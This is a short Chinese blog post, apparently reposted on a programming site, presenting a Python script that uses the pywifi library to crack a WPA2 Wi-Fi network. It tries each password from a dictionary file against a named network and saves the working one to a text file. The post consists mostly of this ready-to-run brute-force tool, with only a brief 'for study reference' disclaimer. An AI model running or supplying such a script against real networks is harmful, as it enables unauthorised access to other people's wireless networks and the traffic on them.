您的位置:首页 > 编程语言 > Python开发

python破解WiFi

2018-08-28 08:11 316 查看

此方法主要是通过字典来破解wifi,破解比较慢,还需要强大的字典库,基本靠运气;通过重字典中获取密码来匹配正确的wifi密码,成功后写入txt文件中。以下方法仅供参考学习。

[code]# -*- coding:utf-8 -*-
import pywifi
import sys
import time
from pywifi import const

wifi = pywifi.PyWiFi()  # 创建一个无线对象
iface = wifi.interfaces()[0]  # 取第一个无限网卡

def test_conn(ssid, pwd):
iface.remove_all_network_profiles()#删除所有的wifi文件
iface.disconnect()
time.sleep(1)
# 新建配置文件
profile = pywifi.Profile()
# 设置网络名称
profile.ssid = ssid
# 打开连接
profile.auth = const.AUTH_ALG_OPEN
# 设置加密方式,是列表类型
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 设置加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 设置密码
profile.key = pwd
print(pwd)

#试过的密码添加到桌面上的 测试密码.txt 文件中
#new_text = pwd + '\n'
#desktop_path = '/Users/Administrator/Desktop/'
#full_path = desktop_path  + '测试密码.txt'
#file = open(full_path,'a')
#file.write(new_text)
#file.close()

tmp_profile = iface.add_network_profile(profile)

iface.connect(tmp_profile)
time.sleep(1)
return iface.status() == const.IFACE_CONNECTED

#扫描字典
with open(r"E:\6000常用密码字典.txt") as f:
pwd_list = [i.strip() for i in f.readlines()]
#Angstrom为需要破解的wifi名称
for p in pwd_list:
if test_conn('Angstrom', p):
print("#############################################################")
print(p)
print("#############################################################")

#密码成功后 将密码填写在 桌面上的 正确密码.txt文件中
new_context = p + '\n'
desktop_path = '/Users/Administrator/Desktop/'
full_path = desktop_path  + '正确密码.txt'
file = open(full_path,'a')
file.write(new_context)
file.close()

 

阅读更多
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: